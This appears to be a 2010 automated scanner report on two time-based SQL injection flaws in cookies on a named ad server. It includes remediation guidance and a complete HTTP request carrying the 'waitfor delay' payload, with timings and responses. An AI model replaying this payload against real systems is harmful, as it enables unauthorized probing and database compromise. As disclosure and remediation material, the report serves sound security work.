Report generated by XSS.CX at Sun Nov 07 10:04:45 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1.1. http://ads.neudesicmediagroup.com/a.aspx [%24CC cookie]

1.2. http://ads.neudesicmediagroup.com/a.aspx [%24RC cookie]

1. SQL injection
There are 2 instances of this issue:

/a.aspx [%24CC cookie]
/a.aspx [%24RC cookie]

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://ads.neudesicmediagroup.com/a.aspx [%24CC cookie] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.neudesicmediagroup.com
Path:	/a.aspx

Issue detail

The %24CC cookie appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the %24CC cookie. The application took 21715 milliseconds to respond to the request, compared with 1061 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /a.aspx?ZoneID=57&Task=Get&IFR=False&Browser=NETSCAPE4&PageID=75600&SiteID=6&Random=1289081093426 HTTP/1.1
Host: ads.neudesicmediagroup.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: %24CC=US'waitfor%20delay'0%3a0%3a20'--; %24RC=TX; %24MC=0

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ARRAffinity=30464d8a7656869aade311c4fc10577c494d1f1c5cc6f1a233eed2120b9320cf;Path=/
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=0xup3m55sl3xno554seq3d45; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Date: Sun, 07 Nov 2010 06:44:35 GMT
Content-Length: 133

<html>
<head><title>
Error
</title></head>
<body>
<div>
Sorry - an error occured
</div>
</body>
</html>

1.2. http://ads.neudesicmediagroup.com/a.aspx [%24RC cookie] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.neudesicmediagroup.com
Path:	/a.aspx

Issue detail

The %24RC cookie appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the %24RC cookie. The application took 21778 milliseconds to respond to the request, compared with 1061 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ARRAffinity=30464d8a7656869aade311c4fc10577c494d1f1c5cc6f1a233eed2120b9320cf;Path=/
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=k1odth450epxspbdbay2mb55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Date: Sun, 07 Nov 2010 06:46:42 GMT
Content-Length: 133

<html>
<head><title>
Error
</title></head>
<body>
<div>
Sorry - an error occured
</div>
</body>
</html>

Report generated by XSS.CX at Sun Nov 07 10:04:45 CST 2010.